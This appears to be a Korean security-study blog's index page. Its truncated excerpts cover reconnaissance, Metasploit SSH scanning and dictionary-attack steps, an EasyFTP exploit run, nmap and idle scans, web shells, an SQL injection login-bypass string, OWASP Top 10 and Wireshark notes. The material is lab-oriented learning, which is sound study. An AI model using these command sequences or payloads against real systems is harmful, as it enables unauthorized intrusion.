Sin prisa, Pero Sin pausa

정보 수집1. 수동적 정보 수집- 공격 대상에 직접적으로 접근하지 않고 정보를 수집하는 방법- 주로 사회공학적 기법을 이용한 수집 방법 > 직접 만남 > 이메일 정보 수집 > 전화- DNS 서버에 정보를 조회하여 대상 사이트의 네트워크 로드맵 획득.- 인터넷을 이용한 정보 수집 (googling)- 장점 : 직접 접근이 아니므로 위험성이 줄어든다.- 단점 : 정보에 대힌 신뢰도가 떨어짐. 2. 능동적 정보 수집- 공격 대상에 직접적으로 접근하여 정보를 획득하는 방법 > nmap scanning- 장점 : 정보에 대한 신뢰도가 높음.- 단점 : 위험도가 증가함. [일단 DNS 구축]- 해킹 연습할 사이트 구축- 보안위협탐지준비 13 1.1 수동적 정보 수집 - DNS 정보 수집- whois 사이트를 방문하..

dictionary attack (bruteforce)# msfconsolemsf> search ssh_versionmsf> use auxiliary/scanner/ssh/ssh_version msf> show optionsmsf> set RHOSTS 192.168.3.220msf> set THREADS 256속도 (Linux인 경우 256가 Max, Windows는 16이 Max)msf> show optionsmsf> run msf> backmsf> search ssh_login(Password cracking)msf> use auxiliary/scanner/ssh/ssh_login* Dictionary Attack 시 사전 파일이 필요함.# cd /usr/share/w3af/w3af/core/cont..

Application Attack* FTP 취약점을 이용한 공격 (WindowXP eastFTP 1.7.0.11 실행)EasyFtpServer17011.zip설치하는 프로그램 아님 --> 실행파일임 msf> search easyftpmsf> use exploit/windows/ftp/easyftp_cwd_fixret(1번) msf exploit(easyftp_cwd_fixret) > show options msf exploit(easyftp_cwd_fixret) > show payloads (장착 가능한 payload 검색) msf exploit(easyftp_cwd_fixret) > show targets (프로그램, 운영체제 정보 출력 - 번호 출력) msf exploit(easyftp_cwd_fix..

Exploit Tools (취약점 발견 → 공격 실시)1. db_nmap 스캔• -sS : TCP Half Open Scan• -p : Port Number msf > db_nmap -sS -p 1-500 192.168.3.230 • -sS : TCP Half Open Scan• -Pn : Treat all hosts as online - skip host discovery• -A : Enable OS detection, version detection, script scanning, and traceroute• -p : Port Number msf > db_nmap -sS -Pn -A -p 1-500 192.168.3.230 • -sS : TCP Half Open Scan• -Pn : Treat all..

Scanning 1. Idle Scan - 비활성화된 타겟의 IPID 정보 스캔 (용도 : 스푸핑 IP 주소 및 좀비 PC 선정) msf > search scanner msf > search ipidseqmsf > use auxiliary/scanner/ip/ipidseq msf auxiliary(ipidseq) > show optionsDescriptionThe name of the interface → 인터페이스 지정The target address range or CIDR identifier → 타켓 IP 주소 지정The target port → 타겟 포트 지정The number of bytes to capture → 캡처할 용량 지정The number of concurrent threads → 쓰..

SSR - SSR 회사 사이트- 기업 관련 인터뷰 (참고 : 서울잡스 에스에스알) Q: "SSR" 회사 소개A: SSR은 IT 정보 보호 관련 종합 서비스 회사. 컨설팅과 정보보호 솔루션을 기반으로 B2B 사업을 수행하는 기업. 비즈니스 모델로 설명하자면 정보 보호 컨설팅과 솔루션 모델이 있어요. 컨설팅은 ISMS(정보 보호 관리 체계) 라고 해요. 금융권이나 정부 기관들은 정보 보호 체계를 만들도록 의무화 되어 있어요. 예를 들어 “홈페이지 해킹을 막기 위한 취약점 진단을 하라” 이런 정보 보호 일련의 체계를 만드는 것이 저희 컨설팅이에요. 솔루션도 마찬가지예요. 백신인데요, 알약을 생각하시면 될 거예요. 알약의 대상이 PC라면 저희 솔루션 대상은 서버, 네트워크인 거죠. Q: “SSR”이 만든 제품에..

OWASP TOP 10 OWASP (http://www.owasp.org)는 "The Open Web Application Security Project"의 약자로써 국제 웹보안 표준 기구이다.웹 어플리케이션 취약점 중에서 빈도가 많이 발생하고, 보안상 영향을 많이 줄 수 있는 것들을 순위로 10개 뽑은 것이 OWASP Top 10이다. A1 인젝션SQL, 운영체제, LDAP 인젝션 취약점은 신뢰할 수 없는 데이터가 명령어나 질의문의 일부분으로서 인터프리터로 보내질 때 발생한다. 공격자의 악의적인 데이터는 예상하지 못하는 명령을 실행하거나 적절한 권한 없이 데이터에 접근하도록 인터프리터를 속일 수 있다. A2 인증 및 세션 관리 취약점인증과 세션 관리와 관련된 애플리케이션 기능은 정확하게 구현되어 있지 ..

2장. 회선 탭핑• 네트워크상에서 패킷 스니퍼를 사용하기 위한 다양한 기술을 설명한다.• 목적 : 다양한 네트워크 토폴로지(네트워크 구성)상에서 패킷 스니퍼를 설치하기 위한 장소를 결정하기 위한 지식과 이해를 돕는 것이다. 2.1 무차별 모드NIC의 무차별 모드를 사용해 모든 트래픽을 캡쳐하게 할 수 있다. 무차별 모드로 동작하는 경우 NIC는 주소 지정과 관계없이 호스트의 프로세서로 모든 패킷을 전달한다.패킷을 CPU로 전달하면 분석을 위해 패킷 스니핑 애플리케이션으로 넘겨진다. 2.2 허브상의 스니핑허브를 통해 전송되는 트래픽은 허브에 연결된 모든 포트에 전달된다.그러므로 허브에 연결된 컴퓨터를 통해 실행되는 트래픽을 분석하려면 허브에 있는 빈 포트로 패킷 스니퍼를 연결할 필요가 있다.그러나 아쉽게도..

1장. 패킷 분석과 네트워크 기초 패킷 분석은 무엇인가? 어떻게 동작하는가? 어떻게 이용할 것인가? 1장은 네트워크 통신과 패킷 분석에 대해 가장 기본적인 내용을 다룬다. 1.1 패킷 분석과 패킷 스니퍼 패킷 분석(packet analysis)이란? • 패킷 스니핑(packet sniffing) = 프로토콜 분석(protocol analysis) • 네트워크상에서 발생하는 일을 잘 이해하기 위해, 네트워크를 통해 전달되는 실제 데이터를 수집하고 해석하는 과정을 말한다. 패킷 스니퍼(packet sniffer)란? • 물리적인 회선을 통해 이동하는 네트워크 데이터를 수집하기 위해 사용되는 도구다. 1.2 컴퓨터 통신 방식 1.2.1 프로토콜 각기 서로 다른 시스템과 플랫폼이 서로 통신을 하기 위해서는 프로..

와이어샤크를 활용한 실전 패킷 분석 나의 첫번째 책!

WEB shell Attack - 2012년까지 WEB 서버 공격에 많이 사용되던 공격 방식- 명령 shell을 web page로 연결하여 출력 형태를 볼 수 있도록 하는 공격- cmd.jsp, cmd.php, cmd.asp- 원래 web서버의 중간 정도의 보안이 설정된 경우라면 동작되지 않음. >> 공격 방식에 대한 이해-> 공격자가 web 게시판에 command shell을 띄울 수 있는 script를 upload 한다.-> URI에 해당 파일로 직접 접근을 시도하면 명령 창이 생성 됨. WEB shell code ------------------------------------------------------------------------------------- Machine: Username: ..

SQL injection - injection 공격류는 기존에 제공되는 기능 외 다른 기능을 추가하여 오류가 발생되는 상태를 확인하고 정보를 획득할 수 있도록 하는 기술. 1.1 select 구문select fields from table_name;select fields from table_name where field=value; (conditional)select fields from table_name where field LIKE %KEY% select * from member where bId='admin' -- ' and bPass=' ' 1.2 create, update, drop 구문 1.3 SQL 확장 구문select fields from table_name union selectsel..